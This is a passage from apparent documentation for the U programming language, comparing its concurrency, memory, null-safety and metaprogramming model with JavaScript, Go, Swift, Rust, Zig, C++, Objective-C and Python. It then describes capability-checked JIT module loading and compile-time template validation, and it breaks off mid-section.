JS microtask vs macrotask explained: The event loop runs ONE macrotask (setTimeout, I/O callback) per tick, then drains ALL microtasks (Promise.then, await continuations). If a microtask adds another microtask, it runs immediately — potentially starving I/O callbacks forever. U has no such distinction: one coroutine scheduler, one queue, no starvation possible.
PropertyUJavaScript
Await syntaxnone (auto-await default)await everywhere
Async opt-ina f()T +Areturn Promise, await caller
Heap per awaitno — coroutine stack preservedyes — Promise closure
Coloringsolvedpresent
Queue starvationimpossiblemicrotasks starve I/O
Backpressureautomatic (.on(k => a f(k)))library only (p-limit)
Generator yield depthany depth (compiler-split continuations)top-level only (stackless)

U vs Go — Same Ergonomics, Better Guarantees

Go is the closest language to U's concurrency ergonomics. Goroutines solve coloring — any function can block, no annotation needed. The differences are frame size, the absence of a pending type, and safety.

Go — WaitGroup ceremony, full stack saved
// Fan-out/fan-in requires ceremony
var wg sync.WaitGroup
results := make([]Config, len(keys))
for i, key := range keys {
    wg.Add(1)
    go func(i int, key string) {
        defer wg.Done()
        results[i] = lookup(key) // full stack saved
    }(i, key)           // subtle closure bug risk
}
wg.Wait()
// goroutine saves ENTIRE stack
// no equivalent of +A to minimize
// nil pointers: runtime panics
U — two lines, frame minimization, null safe
// Fan-out/fan-in — two lines
jobs: [Config+A] = keys.on(k => a lookup(k))
cfgs: [Config]    = jobs   // auto-resolve

// Coroutine frame = only +A values saved
// (not entire stack)
// -N default: null = compile error
// No WaitGroup. No closure bug.
// No pre-allocated result slice.
PropertyUGo
Coloringsolvedsolved (goroutines)
Frame at suspensiononly +A valuesfull goroutine stack
Pending typeT +Anone (channels/WaitGroup)
Fan-out/fan-in.on(k => a f(k))WaitGroup + goroutines
Null safety-N default (type error)nil panics at runtime
Injection safetytype errornone
GCnone (ARC)GC pauses

U vs Swift + GCD — Annotations vs Structure

Swift evolved from GCD completion handlers, to Combine, to async/await (5.5+). Each model accumulated annotations. U encodes the same constraints structurally.

Swift — annotation proliferation
// Actor: new keyword, new rules
actor Counter {
    var value = 0
    func increment() { value += 1 }
}
await counter.increment()  // infects callers

// @escaping: separate annotation
func on(handler: @escaping () -> Void) { }

// TaskGroup: verbose structured concurrency
await with_task_group(of: Config.self) { group in
    for key in keys {
        group.add_task { await lookup(key) }
    }
}
// 'in' keyword: 4 different meanings in Swift
U — same semantics, zero new concepts
// Actor = class with proxy policy
d Counter +M(Actor)
    value: I
    f increment(c: Counter+R+M)
        t.value = t.value + 1
counter.increment()  // no await needed

// @escaping = +R on closure
f on(handler: F()+R) { }

// TaskGroup = .on() with 'a'
cfgs = a keys.on(key => a lookup(key))
// 'in' keyword: zero uses in U
PropertyUSwift + GCD
Coloringsolvedpresent (Swift 5.5+)
Escaping closures+R modifier@escaping annotation
Actor modelproxy policy on classactor keyword + 3 annotations
Concurrent iteration.on(k => a f(k))with_task_group { group in ... }
Keyword reusezeroin: 4 different meanings
GCnoneweak/unowned GC cycles

U vs everyone — unified events, promises, and backpressure

FeatureUJavaScriptGoSwift
Promises and eventsSame primitive — typed arrival dispatchSeparate: Promise vs event emitterSeparate: goroutine vs channel vs callbackSeparate: async/await vs Combine
Execution orderingDerived from +A dependency DAGManual (explicit await chain)Manual (channel sequencing)Manual (Task dependencies)
Backpressure default.on() sequential — explicit opt-in for fan-outNone — everything concurrentBuffered channel sizeNone — actor mailbox unbounded
Passing +A to sync functiona f(pending) — auto-lift, returns T+AMust manually await firstMust use channel receiveMust explicitly await
Concurrent multiple inputs[p1,p2].all() — type-safe joinPromise.all (untyped array)select statementasync let + await
Race first-wins[p1,p2].any()Promise.raceselect first casewithTaskGroup + return first
Event dispatchType IS event nameString name (.on("click"))Channel typeCombine publisher type

U vs Swift — Annotations as Architecture vs Annotations as Workarounds

Swift's structured concurrency is well-designed, but each annotation exists to plug a hole in a model that wasn't built around a single algebra. The result is a proliferation of distinct mechanisms for problems that U handles with the same two tools: the modifier algebra and escape-analysis capture.

Swift mechanismWhat problem it solvesU equivalentWhy U doesn't need the mechanism
@escapingMarks closures that outlive their declaring scopeValues that outlive their scope are +RA continuation closure captures exactly the variables that outlive their scope — +R marks precisely those that escape into a continuation or return
[weak self], [unowned x]Prevents retain cycles in closuresARC with acyclic captureEscaping captures are acyclic by construction — a continuation captures its enclosing scope, not vice versa; the cycle problem doesn't arise
async/awaitMarks async functions and suspension pointsa f declaration, auto-await defaulta marks the function once; callers get auto-await with no annotation. No coloring — calling an a f from a non-a f doesn't require rewriting callers
withTaskGroupFan-out to concurrent child tasksitems.map(x => a f(x))Spawning coroutines is a call site expression — no group object, no addTask, no explicit join
actor keywordPrevents data races on isolated stateT+R+M(Actor)Actor isolation is a write policy on a modifier — same algebra as MVCC or CRDT, no new keyword
Sendable protocolMarks types safe to cross actor boundaries+R (heap-allocated, refcounted)Values crossing coroutine boundaries are +R by construction — the modifier already encodes what Sendable checks
in closure syntaxSeparates capture list, parameters, and body(params) => (body)No capture list needed — the compiler captures exactly the referenced enclosing variables; => separates params from body

Each Swift annotation exists because the underlying model required it. @escaping exists because Swift doesn't know statically which closures escape — so you annotate the ones that do. [weak self] exists because ARC can't detect cycles automatically without O(n) overhead — so you annotate the borrows. withTaskGroup exists because spawning concurrent tasks needs explicit lifecycle management — so you wrap them.

U didn't design solutions for these problems. It designed escape-analysis capture, the modifier algebra, and ARC — and the problems didn't appear.

The unified model means the entire program is a single coherent dataflow graph. There is no "event system" separate from "async system" separate from "error system" — they are all typed values arriving at typed handlers. The scheduler running Kahn's topological sort on the +A dependency graph is the event loop is the async runtime is the backpressure mechanism. One thing, not four.

25Comparisons

Ownership & Memory: U vs Rust and Zig

U vs Rust — Modifier Algebra vs Borrow Checker

Rust's borrow checker statically proves no aliased mutation exists. U routes all mutation through a proxy with a declared policy. The outcomes are similar — memory safety, race freedom — but the mechanisms and ergonomics differ significantly.

Rust — borrow checker, single writer
// Shared mutable: Arc>
use std::sync::{Arc, Mutex};
let state = Arc::new(Mutex::new(Config::new()));

// Clone Arc for every thread that needs it
let state2 = Arc::clone(&state);
thread::spawn(move || {
    let mut s = state2.lock().unwrap();
    s.update(delta);
});

// Single &mut: one writer at a time
// No MVCC, no CRDT built in
// Async adds coloring (async fn type)
// Copy elision: optimizer heuristic
U — proxy policy, multiple writers possible
// Shared mutable: +R +M with policy
state: Config+R+M = Config() +M(MVCC)

// MVCC: readers never block
snap = c state             // instant snapshot
state.update(delta)          // serialized write

// CRDT: commutative — any order
votes: GCounter+R+M = GCounter() +M(CRDT)
votes.inc(node_id)            // concurrent safe

// No async coloring
// c elision: compiler-guaranteed
Borrow checker vs modifier: Rust proves non-escape via whole-program analysis. U's -R annotation encodes the same fact: the programmer states it, the compiler reads it. No analysis needed.
Arc<Mutex<T>> vs T +R +M: Rust's pattern Arc<Mutex<T>> encodes: heap (Arc), shared (Arc), mutable (Mutex). U writes: T +R +M +M(Mutex). Same semantics, three modifiers from the standard algebra. Change Mutex to MVCC for non-blocking reads. Change to CRDT for commutative writes. Rust has no equivalent mechanism — each requires a different library type.
PropertyURust
Memory safetymodifier algebra (annotation)borrow checker (analysis)
Aliased mutationpermitted via proxy policyforbidden (&mut exclusive)
Multiple writersMVCC, CRDT policiesimpossible in safe Rust
Shared mutableT +R +M +M(X)Arc<Mutex<T>>
Null safety-N default (type error)Option<T> (unwrapping)
Async coloringsolvedpresent (async fn type)
Caller stabilityzero recompile when callee adds asyncrewrite all callers
Copy elisioncompiler-guaranteed (genesis)optimizer heuristic (RVO)
GPU domain+V modifier, first-classunsafe (wgpu, cuda-rs)
Annotation burden3 modifiers + domainslifetimes, Pin, Arc/Rc/RefCell

U vs Zig — Modifier as Allocator, Coroutine as Frame

Zig makes allocation explicit via allocator parameters: every allocating function takes an Allocator argument. U encodes the same information in the modifier: -R = stack (no allocator needed), +R = heap (runtime allocator). Same visibility, different mechanism.

Zig — allocator parameter chains
// Every allocating function takes allocator
// Adding allocation deep in chain forces
// adding allocator param to every caller
fn process(ally: Allocator, data: []T) ![]T {
    const result = try ally.alloc(T, data.len);
    defer ally.free(result);
    // ...
}

// Async: stackless frame-based
// coloring present (async fn)
// No +A equivalent — no lazy await
U — modifier on value, not parameter
// Allocation in the type, not the signature
f process(data: [T]): [T]+R
    // +R on return = heap allocated
    // callers see T +R — no param change
    r => transform(data)

// Async: coloring solved
// +A = lazy pending type
// T +A forward decl: caller stable
Allocator coloring in Zig: adding heap allocation deep in a call chain forces adding the Allocator parameter to every intermediate function — a form of the coloring problem for allocators. U's +R modifier is on the value's type, not the function's parameter list. Callers see a different return type (T +R) but need no new parameter.
PropertyUZig
Allocation strategy+R/-R modifier on valueexplicit allocator parameter
Null safety-N default (type error)explicit ?T optional
Async coloringsolvedpresent
Pending typeT +Anone
Error handlinge propagates up coroutinetry at every call site
Copy semanticsc explicit, genesis elisionmanual, explicit
GPU+V modifiernone
Injection safetytype error (templates)none
23.5Comparisons

U vs Swift — Explicit Conventions vs Structural Encoding

Swift is the closest language to U's goals: memory safety without GC, null safety, value/reference distinction, and a modern concurrency model. The differences reveal a consistent pattern: Swift uses convention and annotation; U uses structure and type.

@escaping vs +R

Swift requires @escaping on closures that outlive their calling scope — they're heap-allocated and may be called after the function returns. U encodes this as +R on the closure type.

Swift — @escaping annotation
// Must mark @escaping manually
// Forgetting it is a compile error
// No other type information conveyed
func on_event(handler: @escaping () -> Void) {
    listeners.append(handler)  // heap allocation here
}

// Non-escaping: stack-allocated, cannot outlive call
func transform(fn: (Int) -> Int) -> Int {
    return fn(42)   // fn is -escaping by default
}
U — +R modifier on closure
// +R: heap-allocated, may outlive call
// The same modifier system as everything else
f on_event(handler: F()+R)
    listeners.append(handler) // heap: +R tells you

// -R: stack-allocated, default
f transform(fn: F(I)->I) -> I
    r => fn(42)  // -R default: compiler knows

Swift's in Keyword — One Word, Four Jobs

Swift reuses in in four distinct syntactic contexts. U has zero context-dependent keyword reuse.

Swift contextSwift syntaxU equivalent
Closure body separator{ (x: Int) in x + 1 }x => x + 1
For-in loopfor item in items { ... }items.on(item => ...)
Collection iterationfor (i, v) in items.enumerated()items.on((item, idx) => ...)
Range loopfor i in 0..<10 { ... }(0..10).on(i => ...)

Swift Actors vs U Proxy Policies

Swift — actors are a separate type
// New keyword, new type, new rules
actor Counter {
    var value = 0
    func increment() { value += 1 }
    // Callers MUST use await — coloring!
}
await counter.increment()

// nonisolated = not actor-protected
// @MainActor = global actor
// @Sendable = can cross actor boundary
// Three new annotations to learn
U — actor is just a proxy policy
// No new keyword — just a class with policy
d Counter +M(Actor)
    value: I
    f increment(self: Counter+R+M)
        t.value = t.value + 1

// Caller: no 'a' needed — coroutine handles it
counter.increment()

// Same +R +M pattern as MVCC, CRDT, Mutex
// One concept, four policies, zero new keywords

Swift async/await — Same Coloring Problem

Swift vs Uasync_comparison
// Swift: async infects callers — coloring present
// func fetch_data() async throws -> Data { ... }
// let data = try await fetch_data()  // caller must be async
// — every function in the chain must be marked async

// U: no coloring — any function can call any function
a fetch_data() -> S+N   // only fetch_data is marked 'a'
f main()               // NOT marked 'a' — no annotation needed
    data = a fetch_data() // 'a' is at the call site, not on main()

// Swift: with_task_group for concurrent iteration (verbose)
// await with_task_group(of: Data.self) { group in
//     for url in urls { group.add_task { await fetch(url) } }
// }

// U: .on() with +A return — automatic, zero ceremony
results = a urls.on(url => fetch(url))  // done

Full Comparison Table — U vs Swift, Rust, Go, JS, Zig, C++

PropertyUSwiftRustGoJSZig
Memorymodifier algebraARC+GCborrow checkerGCGCmanual
Null safety-N default (type err)Optional<T>Option<T>nil panicundefined?T explicit
Data racesimpossible (single thread)actor isolationtype errorrace detectorimpossibleno races
Async coloringsolved — coroutinespresentpresentsolvedpresentpresent
Pending typeT +A (built-in)noneFuture<T>nonePromise<T>none
Auto backpressureyes — type-drivennonononono
Escaping closures+R modifier@escapinglifetimeGCGCmanual
Actor modelproxy policyactor keywordlibrarygoroutine+channonenone
Concurrent iter.on() + backpressureTaskGroupStream::bufferedgoroutine+wgPromise.allmanual
Injection safetytype errornonelibrarypartialnonenone
i18n correctnesscompile-timeruntimeruntimeruntimeruntimeruntime
Keyword reusezero (1 meaning each)in: 4 meaningsminimalminimalthis: contextminimal
GPU domain+V modifierMetal onlyunsafe wgpunoneWebGPUnone
GC pausesnone (ARC)weak/unowned GCnoneGCGCnone
Keyword count10 (1 letter each)~80+~50+~25~60+~30
Comparison

U vs C / C++ / Objective-C — Compile-time Metaprogramming and Method Dispatch

Three decades of attempts to solve the same problem: transforming function behaviour without paying runtime costs or losing type safety. U's z f with compile-time method replacement solves all three cleanly.

C macros — text substitution, no types

C vs Uretry pattern
// C macro — text substitution. No types. Hygiene bugs. Cryptic errors.
// #define RETRY(n, fn, arg) ({ int _r,_i; for(_i=0;_i<n;_i++)\
//   {_r=(fn(arg));if(!_r)break;} _r; })
// _r leaks into caller scope. 'arg' evaluated multiple times. No type check.

// U — typed, hygienic, composable, debuggable:
z f retry(func: (S) -> S+N+A, attempts: I): (S) -> S+N+A
    r => retry_wrapper(func, attempts)

safe_fetch = c retry(fetch, 3)             // typed, zero overhead
traced     = c trace(c retry(fetch, 3), "fetch")  // composable

C++ virtual functions — runtime vtable overhead

C++ vs Uvirtual dispatch
// C++: virtual call = 2 extra memory loads per call, every call
// obj.method()  →  load vtable ptr  →  load fn ptr  →  indirect call
// Cannot replace virtual functions after compilation.
// Can only change behaviour via inheritance — tight coupling.

// U: compile-time method replacement — call table rewritten ONCE
d HttpClient
    a f get(url: S) -> S
        r => a Network.HTTP.get(url)

z f __load__()                               // fires at compile time
    HttpClient.get = c retry(c trace(HttpClient.get, "http"), 3)
    // Compiler verifies: same (url: S) -> S+A signature ✓
    // Same modifier algebra ✓  Same error surface ✓
    // All call sites now direct — no vtable, no indirection, zero overhead
C++ virtualU compile-time replacement
Dispatch cost2 extra memory loads per callZero — direct call after replacement
Change behaviourMust subclass — tight couplingAny class, any method, in z f __load__()
Type safetySignature checked at compile timeFull signature + modifier algebra checked
ComposableNo — one vtable entry per methodz trace(z retry(method, 3))
After compilationFixed — vtable sealedFixed — but rewritten at compile time already

Objective-C categories and method swizzling

Objective-C came close to what U offers: categories add methods to existing classes, and method swizzling replaces implementations. But both happen at runtime, with no type checking.

Objective-C vs Uswizzling
// Objective-C: runtime swizzling — crashes at runtime, no type check
// Method swizzle(Class cls, SEL orig, SEL swizzled) {
//     Method m1 = class_getInstanceMethod(cls, orig);
//     Method m2 = class_getInstanceMethod(cls, swizzled);
//     method_exchangeImplementations(m1, m2);  // raw pointer swap — unsafe!
// }  // Breaks if signature differs. No verification. Runtime crash.

// U: compile-time replacement — type-safe, zero-cost, composable
z f __load__()
    Logger.log = c trace(Logger.log, "Logger")  // signature verified at compile time
    Logger.log = c require_auth(Logger.log, "audit")  // stack multiple transforms
    // If new function has wrong signature → compile error, not runtime crash
    // Call table updated in-place. All callers get direct call. Zero overhead.
Objective-C categories/swizzlingU z f method replacement
When it happensRuntime — at app launchCompile time — before binary exists
Type safetyNone — raw pointer swap, runtime crash on mismatchFull — signature + modifier algebra verified
Runtime costMessage send overhead on every callZero — direct call after replacement
ComposableFragile — swizzling swizzled methods breaks thingsc a(c b(c c(method))) — safe composition
Works on any classYes (categories) — but no type verificationYes — with full contract verification
Compiler knowsNo — invisible to compilerYes — call table rewritten, all sites optimized

The contract constraint — what the compiler checks

When any method is replaced in z f, the compiler verifies the full algebraic contract of the original:

Ucontract-check.u
d UserService
    a f load(id: I) -> User+N ! DatabaseError

z f __load__()
    // ✓ same params, same return, same error surface, same modifiers:
    UserService.load = c memoize(UserService.load, 60)

    // ✗ wrong return type → compile error:
    // UserService.load = fn_returning_I  // I ≠ User+N → rejected

    // ✗ drops error surface → compile error:
    // UserService.load = fn_without_error  // missing ! DatabaseError → rejected

    // ✗ wrong modifier → compile error:
    // UserService.load = sync_fn  // sync fn can't replace a f → rejected
AOP without a framework, mocking without reflection. What typically requires an AOP framework (AspectJ, Spring AOP) or reflection-based mocking (Mockito) can be expressed directly in U via z f: replace the method at compile time, verify the contract, get direct calls everywhere. Test builds can swap in mocks; production builds swap in observability. No annotations, no bytecode rewriting, no runtime overhead.
23Reference

U vs Rust, Go, Zig, JavaScript

Individual pieces of U exist in prior languages. What has no precedent is the entire correspondence: a single commutative modifier algebra in which every annotation simultaneously encodes a safety invariant and an exact compiler oracle — eliminating the analysis, not just guiding it.

Closest relatives — and what's still missing from each

LanguageClosest to U inWhat it lacks
RustExplicit semantics, memory safety goalsAnnotations are constraints, not oracles — analysis still runs. No MVCC/CRDT. Async has coloring. No modifier algebra unifying all dimensions.
KokaEffect rows — beautiful, typed side-effect trackingNo ownership, no graph semantics, no compile-time domains, no modifier algebra. Effects and modifiers solve overlapping problems with different mechanisms.
ZigPhilosophy — simple mechanisms, no hidden control flowNo algebraic unification. Async has coloring. No modifier algebra. Each feature added individually rather than derived.
ErlangConcurrency — actor model, let-it-crash, message passingNo ownership, no value-level async, no modifier algebra. Concurrency is the whole model, not a dimension of a larger algebra.
Lisp / SchemeSpirit — small mechanisms, large consequences. Macros as compile-time execution.Dynamic typing means no modifier algebra. The "small generates large" insight is the same; the substrate is different.
SwiftPractical language with modern featuresEvery feature added separately: @escaping, [weak self], Sendable, actor, withTaskGroup. Escape-analysis capture and the modifier algebra would have eliminated all of them.

The common pattern: every prior language either has individual features (ownership, or effects, or async, or compile-time execution) without the unifying algebra — or has a unifying principle (everything is a list, everything is a function) at a different level of abstraction than a type system. U is the first attempt, as far as we know, to make one commutative algebra of eight dimensions govern memory, mutation, nullability, concurrency, SIMD, compile-time, and streaming — simultaneously as safety invariants and compiler licenses, with safety proofs and optimization proofs being the same proof.

PropertyURustGoZigJavaScript
Memory safetymodifier algebraborrow checkerGCmanual+comptimeGC
Null safety-N default (type error)Option<T>nil panicsexplicit optionalundefined/null
Data racesimpossible (single coroutine thread)type errorrace detectorno racesimpossible (single thread)
Async coloringsolved — coroutinespresentsolved — goroutinespresentpresent
Async frame sizeminimal (+A oracle)minimal (stackless)full stackminimalheap closure
Multiple writersyes (MVCC, CRDT)no — single &mutmutex onlymutex onlyyes (single thread)
Injection safetytype error (templates)library onlypartialnonenone
i18n correctnesscompile-time (localized``)runtimeruntimeruntimeruntime
GC pausesnone (ARC)noneGC pausesnoneGC pauses
ARC atomicsnone (single thread)Arc: always atomicN/A (GC)N/A (manual)N/A (GC)
All copies explicityes — c onlyyes — .clone()implicitmostlyimplicit
GPU first-class+V modifierunsafe (wgpu)nonenoneWebGPU only
MapsBag type built-inHashMap onlymap[string]anymanualnative objects
Keyword count10 (all 1 letter)~50+~25~30~50+

vs Rust — Same Goals, Different Philosophy

Rust prevents aliased mutation through static analysis — the borrow checker proves no two mutable references exist simultaneously. Powerful but the annotation burden is substantial: lifetime annotations, Pin/Unpin, Rc/Arc/RefCell proliferation, sharp &T/&mut T distinction. Rust async has the coloring problem. Stackless coroutines are lean but you cannot yield from nested calls without propagating async upward.
U prevents aliased mutation through architecture: +R +M objects use proxy-mediated writes, meaning multiple concurrent writers are possible via MVCC or CRDT — impossible in safe Rust. The single-threaded cooperative scheduler eliminates most synchronization entirely. +A captures only the live-across-suspension set. No lifetime annotations. No Pin.

vs Go — Better Concurrency, Better Safety

Go solves coloring with goroutines — any function can block without annotation. But goroutines save the entire call stack at suspension. U instead captures only the live-across-suspension set into a continuation closure — +A marks exactly what crosses the boundary. Go also has nil pointers (runtime panics, not type errors), GC pauses, and no injection safety at the language level.
U matches Go's ergonomics and adds frame minimization via +A. Null safety is a type error, not a runtime panic. No GC — ARC with O(1) cycle detection. Templates make injection impossible.

vs Zig — Same Performance Goals, More Ergonomics

Zig is excellent: manual memory with explicit allocators, no hidden control flow, comptime for compile-time computation, great C interop. But null safety requires explicit ?T optionals, async has the coloring problem, and there is no template safety or i18n.
U shares Zig's philosophy — no hidden allocations, explicit costs, zero-overhead abstractions. The +R/-R modifier encodes allocation strategy; U's answer to Zig's allocator parameters: the allocation strategy is encoded in the type. U adds null safety, injection safety, and coroutine concurrency that Zig doesn't have.

vs JavaScript — Same Ergonomics, Radically Different Guarantees

JS async/await explained: when JS encounters await, the entire call stack must unwind back to the event loop. Every local variable surviving the suspension is serialized into a heap-allocated Promise closure. This is why async infects callers — each frame must opt in to this serialization. Two separate queues: macrotasks (setTimeout, I/O — one per loop tick) and microtasks (Promise.then — all drained before the next macrotask). Microtasks can starve I/O callbacks if they keep adding more microtasks. Generators are stackless and can only yield at the top level — not from nested calls.
U coroutines: save the stack pointer (~100 bytes of registers). The stack stays in memory unchanged. No heap allocation per suspension, no stack serialization, no unwind. No macrotask/microtask distinction — the scheduler just picks the next ready coroutine. Any function at any call depth can suspend. The caller never annotates.
23.1Compare

U vs Python

Python is the dominant language for scientific computing, data science, and scripting. U is designed to be strictly safer, immediately legible to Python developers, and directly competitive for scientific computing — without external libraries for vectorization, GPU, or complex numbers.

Arithmetic and operators — same conventions

FeaturePythonUNotes
Powers**^ — built-in, no magic methodEquivalent intent
Matrix multiply@ (PEP 465 / numpy)@__matmul__Same operator, Python people comfortable
Element-wise opsnumpy external+ - * / built-in on arraysU wins — no import needed
Dot / cross productnumpy.dot() / numpy.cross().dot(b) / .cross(b)Equivalent
Complex numberscomplex (two float64)C64 (two N32), C128 (two N64)NumPy convention — equivalent
Vectorizednumpy.ndarray (external)N32+V — built-in modifierU wins
GPUcupy / torch (external)+R(GPU) — built-in location policyU wins

Safety — every Python runtime error U makes a compile error

Error categoryPythonU
Null dereferenceRuntime AttributeErrorCompile error — +N required to permit null
SQL injectionRuntime — parameterized queries requiredCompile error — sql`...` typed template
HTML injection / XSSRuntime — manual escapingCompile error — html`...` typed template
i18n missing keyRuntime KeyErrorCompile error
Infinite loopRuns foreverCompile error — no reachable b
Mutable default argdef f(x=[]): — famous bugCompile error — positional defaults banned
Untyped parameterSilently AnyCompile error
Data raceRuntimeCompile error — +M policy required

Functions and OOP

FeaturePythonUVerdict
Named/options argsf(x, opts={}) or **kwargsf(x, { timeout: 60 }) — map literal, destructured; or pass a variableDraw
Decorators@decorator — runtime wrappingz f HOFs — compile-time, zero overhead.
z memoize(func,60) z retry(func,3) z trace(func)
U wins — type-system integrated
Default positional argsdef f(x, y=5): — mutable default bugBanned — compile errorU wins
Optional named argsdef f(x, *, timeout=30):Trailing { timeout: I = 30 } — typedU wins
selfExplicit first param alwayst — implicit, never declaredU wins
Static methods@staticmethodInferred from absent t — zero annotationU wins
Dataclasses@dataclass (3.7+)All classes are dataclasses by defaultU wins
Multiple inheritanceYes — MRONot supported — use interfacesPython wins
GenericsList[T], Dict[K,V]d Stack[ElemType] — multi-letter names enforcedEquivalent for containers
Union typesstr | int (3.10+) — runtime isinstanceS|I — compile-time, method dispatch only if exact overload for all membersU wins — exhaustive at compile time
Enumerationsclass Color(Enum) — integer-backed, separate namespaced Color.Red : Color — plain subclass, can carry fields, methods, genericsU wins — no separate construct
match / switchmatch x: case Point(x=x, y=y): — structural, runtime, x=x redundancy when field and local share a namex :: Point ? x.x ... x.y ... — type-narrows, fields available directly, no extraction neededU wins — no x=x, exhaustiveness via union types
Walrus :=while chunk := f(): ... — retrofitted because = is a statementNot needed — = is already an expression; no while loopsU wins — never needed
Empty set/dict literal{} creates a dict — famous footgun; empty set requires set()Type-directed: s: {S} = {"a","b"} is a set; m = {"a","b"} is property shorthand. {} defaults to empty map. No Python-style footgun, no special syntax needed.U wins — type resolves the ambiguity
zip()for a, b in zip(l1, l2): — lazy iterator, unpack tuplesl1.zip(l2, (a, b) => ...) — callback IS the loop body; no tuple, no unpackU wins — one expression
sum() / min() / max()sum(lst), min(lst, key=fn) — standalone builtinslst.sum(), lst.min(fn?), lst.max(fn?) — methods with optional keyDraw
Membership testx in list — O(n), same syntax as set membership, hides costarr.has(x) — O(n), explicit; x in set — O(1), separate typeU wins — cost visible

Runtime safety — what U adds that Python cannot

FeaturePythonU
Template injection safetyManual escaping, f-strings unescapedCompile error — S cannot reach sinks
Email body safetyAny string acceptedRequires Templates.HTML or Templates.Localized — provenance checked
Regex validationRuntime re.compile() errorCompile-time syntax error + ReDoS detection
Runtime module loadingimportlib — no capability checkinga o("path", { caps }) — JIT compiled, capability-checked, typed
Capability systemNone — any module can call anythingo imports are capability declarations — compiler enforces
BackpressureManual (asyncio queues, semaphores)Structural — .on() sequential by default
Events and promisesSeparate: asyncio vs threading.EventOne primitive — typed arrival dispatch

Scientific computing — Python's home turf

TaskPython / NumPyU
Comparison after arithmeticnp.isclose(a, b, rtol=1e-9) — ε by guessworka == b — exact cross-multiply
0.1 + 0.2 == 0.3FalseTrue — Q(1,10)+Q(2,10)=Q(3,10)
1/3 * 3 == 1False (0.9999…)True
Vanishing gradientsResNets, LSTMs, clipping — workaroundsImpossible — Q never underflows to 0
Training determinismNon-deterministic across GPUs, CUDA versionsInteger arithmetic identical on all hardware
Convergence testabs(loss_a - loss_b) < 1e-7 heuristicloss_a == loss_b exact
Symbolic deferred evalSymPy — separate library, separate syntaxresult = Q(a,b)/Q(c,d) — symbolic by default
Python @decorator overheadRuntime wrapper every callz f — generated once at compile time, zero overhead
NumPy is float all the way down. np.isclose, gradient clipping, residual connections, mixed-precision training — all compensate for float approximation. U's Q type addresses this structurally, not symptomatically.
What Python can do that U intentionally omits
FeatureWhy omitted in U
exec / evalSecurity — no runtime code generation
Monkey patchingPredictability — types are closed after definition
Multiple inheritanceSingle inheritance + interfaces is strictly cleaner; MRO is a footgun
Unlimited-precision intUse Q (or bignum library)
@property setter syntaxMethods for computed; type system for validation
The honest tradeoff: Python's list comprehensions — [x*2 for x in y if x > 0] — are more concise than .filter().map() for simple one-liners. This is real. It is the price of method-based iteration. Everything else U either matches or wins on safety, performance, and clarity.
24Runtime

JIT Module Loading — Compile-time Guarantees at Runtime

The U compiler is a library, not just a CLI tool. At runtime you can invoke it on a source file, get back a statically-analysed, capability-checked, type-verified module — compile-time guarantees at runtime. This is Node's require() with Deno's permission system and TypeScript's type safety, enforced at load time.

Dynamic module loading — a o()

Ujit.u
// Static import — compile time, declared capability surface:
o Templates
o Network.HTTP.WeatherAPI

// Dynamic import — runtime JIT, capability-checked:
plugin: WeatherPlugin+A = a o("plugins/weather.u", {
    Network.HTTP: WeatherAPI    // grant a subset of what we already have
})

// Multiple plugins, different capability grants:
analytics: Analytics+A = a o("plugins/analytics.u", { Templates })
mailer:    Mailer+A    = a o("plugins/mailer.u",    { Network.SMTP.Transactional })

// Handle capability denial — module demanded more than granted:
e.on((err: CapabilityError) =>   // err.missing, err.demanded
    log("Plugin denied: " + err.missing.join(", ")))
plugin = a o("plugins/untrusted.u", { Templates })

What happens at runtime when a o("path", { caps }) is called:

  1. Load the source file
  2. Run the U compiler JIT — full static analysis
  3. Extract the module's o declarations — its demanded capability surface
  4. Check demanded ≤ granted — if not, throw CapabilityError
  5. Compile and instantiate with granted capabilities injected
  6. Return typed module as ModuleInterface+A
Capability inheritance rule: you can only grant capabilities you yourself hold. a o("plugin.u", { Network.HTTP: WeatherAPI }) requires that you have WeatherAPI. Plugins cannot escalate privileges beyond what their caller has.

Template hot loading

Uhot-load.u
// Static — validated at build time, baked in:
page = Templates.html("templates/page.html", { title: S, items: [Item] })

// Dynamic — JIT validated at load time:
render: ({ title: S, items: [Item] }) -> Templates.HTML+A =
    a Templates.load("templates/page.html")
// Compiler JIT-parses the HTML, validates {title} and {items} types,
// checks attribute positions (href→URL, style→CSS), accessibility rules.
// Returns typed function — same guarantees as static Templates.html()

// Hot swap — recompile on file change, verify before swap:
a Templates.watch("templates/page.html", (new_fn) =>   // fires on change
    new_fn : typeof render                               // type-check new version
    ? (render = new_fn)                                  // safe swap
    ! log("Template interface changed — requires code update"))

z f — compile-time functions that run at build time

The compiler doesn't hardcode template validation rules. The standard library ships template parsers as functions decorated z f — executed at build time, not runtime. They implement the TemplateLang! interface, which the compiler calls for each {expr} interpolation:

Utemplate-lang.u
// The interface the compiler expects — standard library implements this for each tag:
d TemplateLang!
    fz f __check__(expr: Expr, pos: Position, ctx: Context) -> Type
    fz f __validate__(tree: ParseTree): [Diagnostic]
    fz f __output__() -> Type

// Standard library's HTML implementation (simplified):
d HtmlTemplate : TemplateLang
    fz f __check__(expr: Expr, pos: Position, ctx: Context) -> Type
        pos.attr == "style"   ? Templates.CSS
        pos.attr == "href"    ? Templates.URL
        pos.attr == "src"     ? Templates.URL
        pos.attr == "onclick" ? e CompileError("inline JS not allowed")
        pos.tag  == "content" ? Templates.HTML | S | I | N | [Templates.HTML]
        !                        S   // default: escaped string

    fz f __validate__(tree: ParseTree): [Diagnostic]
        // structural: tag nesting, missing alt, li inside ul, a11y rules...

    fz f __output__() -> Type   r => Templates.HTML
z f functions run in a restricted environment: they can read the AST and type information, emit compile errors and warnings, read external files (schema files, locale bundles) — but cannot make network calls, write files, or have runtime side effects. They are deterministic: same source → same output, always. The same mechanism that validates HTML validates SQL against a schema, regex for ReDoS, i18n bundles for missing keys, CSS for unknown properties.

Provenance checking at runtime — Protocols honour compile-time guarantees

At runtime, the standard library's Protocol implementations (SMTP, HTTP, LLM) check the provenance of values they receive. A Templates.HTML value carries its template path and a content hash baked in at compile time. Safebox-sealed execution means this can't be forged.

Uprovenance.u
body = Templates.html("emails/transactional/welcome.html", { name: user.name })
// body: Templates.HTML { content: "...", source: "emails/transactional/welcome.html",
//                         hash: "sha256:abc..." }  ← opaque to user code

Network.SMTP.Transactional.send({ to: user.email, subject, body })
// Runtime: org policy injected at startup:
//   { from: ["[email protected]"], bodyTemplate: "emails/transactional/*" }
// Standard library checks:
//   body.source matches "emails/transactional/*" ✓
//   body.hash matches compiled hash ✓  (Safebox seals this)
//   user.email matches "*@customers.myapp.com" ✓
// → send proceeds

// Cannot be forged:
